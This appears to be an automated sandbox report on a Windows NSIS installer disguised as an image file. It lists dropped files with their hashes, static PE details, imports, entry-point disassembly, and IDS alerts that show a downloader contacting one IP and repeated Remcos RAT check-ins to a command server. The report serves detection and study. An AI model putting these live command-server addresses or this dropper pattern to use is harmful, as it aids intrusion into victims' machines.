SSDEEP:	3072:UFVF0JHPi5oGXoKZiTd6Rsadh2e+4dcvdN:OVaJHPi7/s8hb+FN
MD5:	36F112976788D4FB05E4649672BBACEC
SHA1:	9D3180DB01A7D2F6F76B941EF2D6080ADBE15B62
SHA-256:	2B2742E30B5D567B7132CA555865C129AD6C62820E2DF847247BE761DA8C586B
SHA-512:	0F6F5B01463AF91D9772E83C950948856F25FBEB32145C7567B5DBBFC43B8E4D7101EB0383F8262203CF9C0598C88DC42B08C0D6E9875A1BFDE666E66591022B
Malicious:	false
Preview:	..v..............j............P.eeeee............N....................nnn........))).....444.........PP.%%%........>>........................FF.............iii..W.....W...................4...`.______......ww.......uuu.&&......................6.......e...........@@......;;... .4........ ...........>>>...............K.C........................>.....................M......;...)))......V.........VV.........%....y.......hh.(................f.......LL...uu.9..z..........\\...eee..............o.33..................AA............~~..C..<........11...'.((((....................dddd....{....AAAA.......]...............................OO.LL...JJJ....8..TTT...y......g............}....."""......11111................""..............XX...........!!!.......XX.xxx..}}}}....u..T.............................................D..^..........................77.(.rr.!............S...ooo.V.......f._.%............................................))......{..;.............dd..\|\|\|\|.........EEEEE...........IIII..XX.W

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate\Justifyingly.Mis

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	data
Category:	dropped
Size (bytes):	448873
Entropy (8bit):	7.111393709973377
Encrypted:	false
SSDEEP:	6144:Eb1q3t7HRKlEMrYWov3wxBrt0IAD6vt+F5LshyEVqDoFc+hxgkQQ:wY1KlVY5sOogLshyEUMtn1QQ
MD5:	3550BF03E622E28FEF525EE0182339E8
SHA1:	0766B2208E92DC0197139EBC305DD136B4E857FE
SHA-256:	D1A4CB00AFE4B7B66BDB8D3D31055EF5769877612F34A951278376DAEA93805D
SHA-512:	7C0340FBD785741049960324216DD517C664169CCDA9DF98E528EB7BA2EDA662CC28D26361DF7CEA644B21B6912A2554917DBC587980909ABC51AF7F64BFAC3B
Malicious:	false
Preview:	..e..................R......kk.&.............DDDD............d..%%%......................j............>>..Y........s....j........LLLLLL........].K...6.........WW..A................^^..^^........RRRRRRRR.5.............................w....a..]..............U..........h...^......TT......................'..uu...............888.....8................................''.A.......~...*.................--..&&......H....==..KK...o.GGG....H...............p..............\|\|.CC.....................www............gggg.7.......Y.....W...............2...///.>.................CC....bb....00...zz...............00.O.[[.H.A.x............................=...............C..................DD...........qqq.G............................33...XXX.....ww....o.....................................C..............N..CC....................vv.........RRR...AAA...n.........(....66..........1...........................L............n...Q.............0................{{{...........}}............................"..........

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate\Undedicated119.vit

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	data
Category:	dropped
Size (bytes):	330423
Entropy (8bit):	1.2491650618704468
Encrypted:	false
SSDEEP:	768:Y79V/7OdtU411IL9myi/wAvxcYxq2pDQ4kfWk+MM8AyLAJMu8k/M+UpORLf/zbW+:AmR8uZrxN50Hf9oLa6beGalDQvPbTmeR
MD5:	EF4261DCD04F77611A3A1DE40343A71C
SHA1:	EB75467B507B7A7F9F452D08A79BB13F428FFBB7
SHA-256:	A2F3FBF7C7B9DCF49BB018DE89D1259F2F21F77BBC540FF0DD3BA492CF416E7C
SHA-512:	C2CFBBB02D691F9EB2FEB5E3633A6528CC3E5359955EAA1816C33023487E533855E55403B649560AA8580BAE33A682969059CC55C9D446F6B8AB02EAC658ACC9
Malicious:	false
Preview:	...O..........b.................................................................................C........e..D................................................................................................J...........................U........i......}......................s..............?...............7......................................G.........g.............................e......................!.................................:.......................p....................................s....p.............n..............................S...............................?~.............w.\|..m................................p...................................................k..............W..................................X...v....................................,.......................................................>................v1.................................q....................................!............................................................................

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate\hand.jpg

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v90), quality = 90", progressive, precision 8, 721x800, components 3
Category:	dropped
Size (bytes):	13421
Entropy (8bit):	7.136747769977594
Encrypted:	false
SSDEEP:	192:L866d5e0AK3IjMPGSvsp8ZJ/NnckKY/Z9rPvxzoHA3ozBt:Ys0PGSQ8TNncE/ZlPJCt
MD5:	B358902DF060EB04DA3D7206E2B88672
SHA1:	68819B5957EFAC558A1F820DA654776320935574
SHA-256:	6807B137577B302E64D2543DF37423B1F68E2D71A0AE4872188CDBB58EA2CFED
SHA-512:	9E857FFA049594C298300843733FA1623B5F3D9513B8B002241FAC2654C7C82EBB521BC4D3049174D3B78F5915D475524A5313FA528EC81AFFFAA27EF81174BB
Malicious:	false
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v90), quality = 90....C....................................................................C....................................................................... ...."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................d.d"..................................+..S[s~.o.<w.z..,.....A.Y>(.3.Z..D............................K......-r6E._.\...e...l

C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate\naggers.arv

Download File

Process:	C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File Type:	data
Category:	dropped
Size (bytes):	430622
Entropy (8bit):	1.250752905027708
Encrypted:	false
SSDEEP:	1536:CRmfXIjyuE98wkdKqICS5tmiaKMZHiBawc+:f1u+ZUICCm31kDR
MD5:	6C0764C7CFB218DBF0ECB687260B0BA1
SHA1:	1CA4841BDA7351E92BFBCA3B6952F23EFF8B61B7
SHA-256:	AD2B53F491F7294B54DB434ED67867FC6B0C962D987F20918FF0E33A06F53C55
SHA-512:	9CB5D6DB23239DAFC1117D1DAEF7978EC528E37094588516B0B93F028352773BC5BCA3C89DBC0E6D8AB728F8BD1C5A6104748B1535C1B83D71A814052DE0373A
Malicious:	false
Preview:	.P.....................................;.....................................................m.......K.......v..................................]...............................................9.....................................................................d...5.Y...............................................].........C................9...r............................................................................9.................4.......................&@...............}.......................................D..................;...................................t....f............P.X.........................................................dz....e......<................................3...........J........................................................D......................5........D........................................... .........................................>............................>.......x..i........b.................\.".................../.....................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.930916861083211
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe
File size:	731'660 bytes
MD5:	a03dcb82d6ecaab34cc6ae971a806c06
SHA1:	3bf367387ad278b154bd2af42e7bedf0f8676f6c
SHA256:	4fc786009ad36ded81dfbd863802b06436b718112c35a505d447f6e0d31cbf8d
SHA512:	a11a2c0e59cd229d6d8de8edb4322ca434e5931ef94bb1cf4c5435e891125ca8c0518a675277c36936ff47e71eab7954ce17aaa36abb0109cbf84087e9652352
SSDEEP:	12288:E3cAEjowqtlkCSN+RgfcWNQDw9HSAcQ4A5uKrQrxco0+tNADhZebeEkOP:E3cAEjowDCC+R7ab9HSzJWoV07fDW
TLSH:	96F42311FEA6D8F5E46B64F1993267B58AE3AC68B72173930310B98E3CB3547410F262
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.w.F......F...v...F...@...F.Rich..F.........PE..L....C.f.................h...x.......3............@

File Icon


Icon Hash:	981b293d37203cb4

Static PE Info

General

Entrypoint:	0x4033d8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x660843F9 [Sat Mar 30 16:55:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	671f2a1f8aee14d336bab98fea93d734

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000224h
push esi
push edi
xor edi, edi
push 00008001h
mov dword ptr [ebp-14h], edi
mov dword ptr [ebp-0Ch], 0040A188h
mov dword ptr [ebp-08h], edi
mov byte ptr [ebp-04h], 00000020h
call dword ptr [0040809Ch]
mov esi, dword ptr [004080A0h]
lea eax, dword ptr [ebp-000000C4h]
push eax
mov dword ptr [ebp-000000B0h], edi
mov dword ptr [ebp-30h], edi
mov dword ptr [ebp-2Ch], edi
mov dword ptr [ebp-000000C4h], 0000009Ch
call esi
test eax, eax
jne 00007F6064AF3F71h
lea eax, dword ptr [ebp-000000C4h]
mov dword ptr [ebp-000000C4h], 00000094h
push eax
call esi
cmp dword ptr [ebp-000000B4h], 02h
jne 00007F6064AF3F5Ch
movsx cx, byte ptr [ebp-000000A3h]
mov al, byte ptr [ebp-000000B0h]
sub ecx, 30h
sub al, 53h
mov byte ptr [ebp-2Ah], 00000004h
neg al
sbb eax, eax
not eax
and eax, ecx
mov word ptr [ebp-30h], ax
cmp dword ptr [ebp-000000B4h], 02h
jnc 00007F6064AF3F54h
and byte ptr [ebp-2Ah], 00000000h
cmp byte ptr [ebp-000000AFh], 00000041h
jl 00007F6064AF3F43h
movsx ax, byte ptr [ebp-000000AFh]
sub eax, 40h
mov word ptr [ebp-30h], ax
jmp 00007F6064AF3F36h
mov word ptr [ebp-30h], di
cmp dword ptr [ebp-000000C0h], 0Ah
jnc 00007F6064AF3F3Ah
and word ptr [ebp+00000000h], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x853c	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x43000	0x1a8a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x294	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x660c	0x6800	3b90adcd2f1248db844446cb2ef15486	False	0.6663912259615384	data	6.411908920093797	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1340	0x1400	b3bd9ad1bd1020c5cf4d51a4d7b61e07	False	0.4576171875	data	5.237673976044139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x25138	0x600	c4e774255fea540ed5efa114edfa6420	False	0.4635416666666667	data	4.1635686587741	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x30000	0x13000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x43000	0x1a8a8	0x1aa00	16cf5e27d240800a9470c2103a0eb943	False	0.849618544600939	data	7.415748321493681	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x433e8	0xac96	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9968765560635553
RT_ICON	0x4e080	0x8b3e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9908545138304438
RT_ICON	0x56bc0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.39782157676348545
RT_ICON	0x59168	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4280018761726079
RT_ICON	0x5a210	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5522388059701493
RT_ICON	0x5b0b8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.680956678700361
RT_ICON	0x5b960	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.42378048780487804
RT_ICON	0x5bfc8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.45447976878612717
RT_ICON	0x5c530	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5718085106382979
RT_ICON	0x5c998	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.5094086021505376
RT_ICON	0x5cc80	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5743243243243243
RT_DIALOG	0x5cda8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5cef0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5cff0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5d110	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5d170	0xa0	data	English	United States	0.625
RT_VERSION	0x5d210	0x358	data	English	United States	0.5
RT_MANIFEST	0x5d568	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueA, RegEnumKeyA, RegQueryValueExA, RegSetValueExA, RegCloseKey, RegDeleteValueA, RegDeleteKeyA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, RegOpenKeyExA, RegCreateKeyExA
SHELL32.dll	SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, SHFileOperationA, ShellExecuteExA
ole32.dll	OleUninitialize, OleInitialize, IIDFromString, CoCreateInstance, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	SetDlgItemTextA, GetSystemMetrics, CreatePopupMenu, AppendMenuA, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcA, GetMessagePos, CheckDlgButton, LoadCursorA, SetCursor, GetSysColor, SetWindowPos, GetWindowLongA, IsWindowEnabled, SetClassLongA, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetDlgItemTextA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, SetWindowTextA, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfA, SendMessageTimeoutA, FindWindowExA, IsWindow, GetDlgItem, SetWindowLongA, LoadImageA, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndPaint, MessageBoxIndirectA, CharPrevA, PeekMessageA, GetClassInfoA, DispatchMessageA, TrackPopupMenu
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectA, SetBkMode, SetTextColor
KERNEL32.dll	CreateFileA, GetTempFileNameA, ReadFile, RemoveDirectoryA, CreateProcessA, CreateDirectoryA, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceA, lstrcpynA, SetErrorMode, GetVersionExA, lstrlenA, GetCommandLineA, GetTempPathA, GetWindowsDirectoryA, WriteFile, ExitProcess, CopyFileA, GetCurrentProcess, GetModuleFileNameA, GetFileSize, GetTickCount, Sleep, SetFileAttributesA, GetFileAttributesA, SetCurrentDirectoryA, MoveFileA, GetFullPathNameA, GetShortPathNameA, SearchPathA, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiA, lstrcmpA, ExpandEnvironmentStringsA, GlobalFree, GlobalAlloc, GetModuleHandleA, LoadLibraryExA, FreeLibrary, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, SetFilePointer, FindClose, FindNextFileA, FindFirstFileA, DeleteFileA, MulDiv, lstrcpyA, MoveFileExA, lstrcatA, WideCharToMultiByte, GetSystemDirectoryA, GetProcAddress, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T08:18:17.236404+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.4	49730	TCP
2024-11-13T08:18:54.017024+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49736	91.196.125.125	80	TCP
2024-11-13T08:18:56.325500+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	172.202.163.200	443	192.168.2.4	49738	TCP
2024-11-13T08:19:03.195468+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49755	192.169.69.26	51525	TCP
2024-11-13T08:19:03.345502+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49760	192.169.69.26	51525	TCP
2024-11-13T08:19:04.926316+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49765	192.169.69.26	51525	TCP
2024-11-13T08:19:06.827743+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49776	192.169.69.26	51525	TCP
2024-11-13T08:19:06.835426+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49782	192.169.69.26	51525	TCP
2024-11-13T08:19:08.401107+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49784	192.169.69.26	51525	TCP
2024-11-13T08:19:10.382922+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49799	192.169.69.26	51525	TCP
2024-11-13T08:19:10.391282+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49805	192.169.69.26	51525	TCP
2024-11-13T08:19:11.936170+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49810	192.169.69.26	51525	TCP
2024-11-13T08:19:13.772123+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49822	192.169.69.26	51525	TCP
2024-11-13T08:19:13.781011+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49825	192.169.69.26	51525	TCP
2024-11-13T08:19:15.349074+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49830	192.169.69.26	51525	TCP
2024-11-13T08:19:17.218929+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49842	192.169.69.26	51525	TCP
2024-11-13T08:19:17.226763+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49847	192.169.69.26	51525	TCP
2024-11-13T08:19:18.829600+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49853	192.169.69.26	51525	TCP
2024-11-13T08:19:20.612797+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49865	192.169.69.26	51525	TCP
2024-11-13T08:19:20.620211+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49870	192.169.69.26	51525	TCP
2024-11-13T08:19:22.253068+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49876	192.169.69.26	51525	TCP
2024-11-13T08:19:24.028266+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49887	192.169.69.26	51525	TCP
2024-11-13T08:19:24.036167+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49893	192.169.69.26	51525	TCP
2024-11-13T08:19:25.653490+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49899	192.169.69.26	51525	TCP
2024-11-13T08:19:27.445484+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49910	192.169.69.26	51525	TCP
2024-11-13T08:19:27.454454+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49916	192.169.69.26	51525	TCP
2024-11-13T08:19:29.114785+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49922	192.169.69.26	51525	TCP
2024-11-13T08:19:30.896084+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49933	192.169.69.26	51525	TCP
2024-11-13T08:19:30.903882+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49938	192.169.69.26	51525	TCP
2024-11-13T08:19:32.578941+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49944	192.169.69.26	51525	TCP
2024-11-13T08:19:34.374861+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49956	192.169.69.26	51525	TCP
2024-11-13T08:19:34.382169+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49961	192.169.69.26	51525	TCP
2024-11-13T08:19:36.035665+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49966	192.169.69.26	51525	TCP
2024-11-13T08:19:38.188926+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49978	192.169.69.26	51525	TCP
2024-11-13T08:19:38.196639+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	49985	192.169.69.26	51525	TCP
2024-11-13T08:19:39.949409+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	49991	192.169.69.26	51525	TCP
2024-11-13T08:19:41.813064+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50001	192.169.69.26	51525	TCP
2024-11-13T08:19:41.820131+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50006	192.169.69.26	51525	TCP
2024-11-13T08:19:43.467073+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50011	192.169.69.26	51525	TCP
2024-11-13T08:19:45.250177+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50022	192.169.69.26	51525	TCP
2024-11-13T08:19:45.257645+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50028	192.169.69.26	51525	TCP
2024-11-13T08:19:46.795133+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50033	192.169.69.26	51525	TCP
2024-11-13T08:19:48.651600+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50043	192.169.69.26	51525	TCP
2024-11-13T08:19:48.660482+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50044	192.169.69.26	51525	TCP
2024-11-13T08:19:50.222483+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50045	192.169.69.26	51525	TCP
2024-11-13T08:19:52.106671+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50046	192.169.69.26	51525	TCP
2024-11-13T08:19:52.115382+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50047	192.169.69.26	51525	TCP
2024-11-13T08:19:53.685122+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50048	192.169.69.26	51525	TCP
2024-11-13T08:19:55.544309+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50049	192.169.69.26	51525	TCP
2024-11-13T08:19:55.552303+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50050	192.169.69.26	51525	TCP
2024-11-13T08:19:57.283983+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50051	192.169.69.26	51525	TCP
2024-11-13T08:19:59.104861+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50052	192.169.69.26	51525	TCP
2024-11-13T08:19:59.112616+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.4	50053	192.169.69.26	51525	TCP
2024-11-13T08:20:00.760644+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50054	192.169.69.26	51525	TCP
2024-11-13T08:20:02.576299+0100	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.4	50055	192.169.69.26	51525	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 08:18:53.115622997 CET	49736	80	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:53.120497942 CET	80	49736	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:53.120579004 CET	49736	80	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:53.120764017 CET	49736	80	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:53.125581026 CET	80	49736	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:54.016949892 CET	80	49736	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:54.017024040 CET	49736	80	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:54.019943953 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:54.019988060 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:54.020066023 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:54.109967947 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:54.109992027 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.046555996 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.046622038 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.117162943 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.117182970 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.117415905 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.117454052 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.121562958 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.167332888 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.402292013 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.402312994 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.402364016 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.402381897 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.402394056 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.402429104 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.525079012 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.525178909 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.552263021 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.552329063 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.675230026 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.675308943 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.702231884 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.702327967 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.798774958 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.798876047 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.852230072 CET	443	49737	91.196.125.125	192.168.2.4
Nov 13, 2024 08:18:55.852296114 CET	49737	443	192.168.2.4	91.196.125.125
Nov 13, 2024 08:18:55.922197104 CET	443	49737	91.196.125.125	192.168.2.4
